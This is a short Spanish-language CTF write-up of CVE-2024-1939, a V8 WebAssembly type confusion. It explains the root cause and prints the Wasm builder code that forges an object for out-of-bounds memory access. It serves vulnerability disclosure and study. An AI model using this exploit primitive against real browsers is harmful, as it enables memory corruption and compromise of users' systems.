
Para V8CTF M122
Esta es una breve descripción de la CVE-2024-1939, que utilicé para reclamar V8CTF M122.
La causa raíz de este problema es la falta de soporte para kWasmS128 en la conversión wasm-to-js. En concreto, las operaciones wasmS128Const que aparecen en las pilas de parámetros se ignoran, lo que provoca confusión de tipos cuando hay un ExprRef en los parámetros.
En detalle, esto provocará que un int/float se convierta directamente en un objeto. Por lo tanto, es fácil construir un array falso con longitud arb que nos dará la capacidad de lectura y escritura fuera de límites (oob). Aún queda un obstáculo que sortear: wasmS128Const solo ocupará el lugar de los parámetros de tipo float que se almacenan en FPSlot y no influirá en los parámetros etiquetados (tagged) que se almacenan en GPSlot. La vía existe a través de StackSlot. Los registros FP/GP tienen límites de tamaño. Después de eso, los parámetros se almacenarán en StackSlot en orden. Si llenamos los registros y colocamos un número float en StackSlot, el parámetro etiquetado se analizará desde StackSlot y nos dará nuestro objeto falso.
El exploit final no incluirá el constructor de este módulo wasm por simplicidad y velocidad, así que lo adjuntaré aquí.
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
Se utiliza un worker para estabilizar la memoria, ya que se ha observado que las direcciones se mantienen relativamente estables en los hilos worker.
Para la evasión del sandbox, consulte V8-Sandbox-Escape-via-Regexp. El exploit final utiliza cadenas orw normales para escribir la flag a través de stderr.